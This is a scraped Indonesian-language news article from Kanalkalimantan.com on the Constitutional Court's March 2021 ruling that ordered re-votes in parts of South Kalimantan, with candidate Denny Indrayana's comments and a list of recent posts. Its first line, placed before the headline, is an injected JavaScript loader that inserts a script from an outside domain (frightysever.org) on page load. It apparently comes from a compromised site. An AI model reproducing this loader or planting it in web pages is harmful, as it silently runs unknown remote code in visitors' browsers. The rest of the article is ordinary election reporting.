(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Denny Indrayana: Alhamdulilah MK Kabulkan Gugatan Paslon 02, Saatnya Kembali Berjuang!


KANALKALIMANTAN.COM, BANJARBARU – Putusan Mahkamah Konstitusi (MK) yang mengabulkan dilakukannya pemilihn suara ulang (PSU) di sejumlah kecamatan dan kabupaten di Kalsel, ditanggapi termohon paslon nomor 2 Denny Indrayana.

Kepada Kanalkalimantan.com, Denny mengatakan cukup puas atas putusan yang disampaikan MK pada Jumat (19/3/2021).

“Alhamdulillah, MK sudah memenangkan sebagian gugatan pemohon dan membatalkan SK KPU Kalsel yang sebelumnya memenangkan paslon nomor 1,” katanya.

Denny mengatakan, menyikapi hasil putusan tersebut maka kini kembali dibuka ruang ibadah untuk bekerja keras untuk bersama-sama berjuang untuk Banua yang lebih baik.

“Insyallah di bulan ramadhan, dengan semangat ramadhan, kita bisa berhijrah gasan Banua yang lebih baik dengan memenangkan daulat suara rakyat,” katanya.

Baca juga : SEDANG BERLANSGUNG. MK Perintahkan PSU di Binuang, Banjarmasin Selatan, dan Banjar 

Sebelumnya, MK memerintah KPU Kalsel untuk menggelar pemungutan suara ulang (PSU) di sejumlah kecamatan di Kalsel menyusul diterimanya gugatan pemohon Denny Indrana dalam sidang di MK, Jumat (19/3/2021). MK memberikan deadline pemilihan ulang digelar paling lambat 60 hari sejak putusan dibacakan majelis.

Sebelumnya dalam sidang yang berlangsung mulai pukul 16.15 Wita, majelis hakim membacakan sejumlah putusan terkait gugatan paslon nomor 02 Denny Indrayana. Dari sejumlah gugatan, ada yang ditolak, dan sebagian dikabulkan oleh majelis hakim.

Di antara yang dikabulkan, adalah sejumlah pemilihan suara ulang di 24 TPS di Kacamatan Binuang, Tapin, 5 kecamatan di Kabupaten Banjar yakni di Kecamatan Sambung Makmur, Aluh-lauh, Martapura, Mataraman, dan Astambul, serta di Kecamatan Banjarmasin Selatan.

“Terkait hal tersebut, majelis memerintahkan KPU Kalsel untuk menggelar pemungutan suara ulang paling lambat 60 hari semenjak putusan dibacakan,” kata majelis hakim Aswanto.

Di antara putusan MK, KPU harus menempatkan PPS dan PPK baru di daerah pemilihan yang dimaksud.

Baca juga : BREAKING NEWS. MK Perintahkan KPU Kalsel Gelar Pemilihan Ulang Paling Lambat 60 Hari

Sebelumnya, terkait KPU Kalsel selaku salah satu pihak tergugat, menyatakan kesiapannya menjalankan putusan hakim konstitusi. KPU akan menjalankan hasil putusan sidang MK dalam lima hari usai adanya penetapan gugatan Pilkada yang diajukan paslon Denny Indrayana-Difriadi Darjat.

“Apa yang akan diputuskan MK nantinya akan dijalankan mulai dari penetapan hasil sidang,” kata Ketua KPU Kalsel Sarmuji, saat ditemui Kanalkimantan.com, Selasa (16/3/2021) lalu di ruangannya. (Kanalkalimantan.com/pras)

 

Reporter : Pras
Editor : Cell

 


Al Ghifari

Recent Posts

Akhiri Masa Cuti, Aditya Kembali ke Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More

2 jam ago

FDM HSU Ajak Masyarakat Awasi Pilkada 2024

KANALKALIMANTAN.COM, AMUNTAI -  Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More

3 jam ago

KPU HSU Mulai Distribusikan Logistik Pilkada ke 10 Kecamatan

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More

3 jam ago

Pelajar dari 23 Negara Ikuti OPPO RUN 2024

KANALKALIMANTAN.COM, BALI – Didukung oleh BRImo, OPPO Indonesia resmi menggelar OPPO RUN 2024 yang berlangsung… Read More

5 jam ago

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

21 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

23 jam ago

This website uses cookies.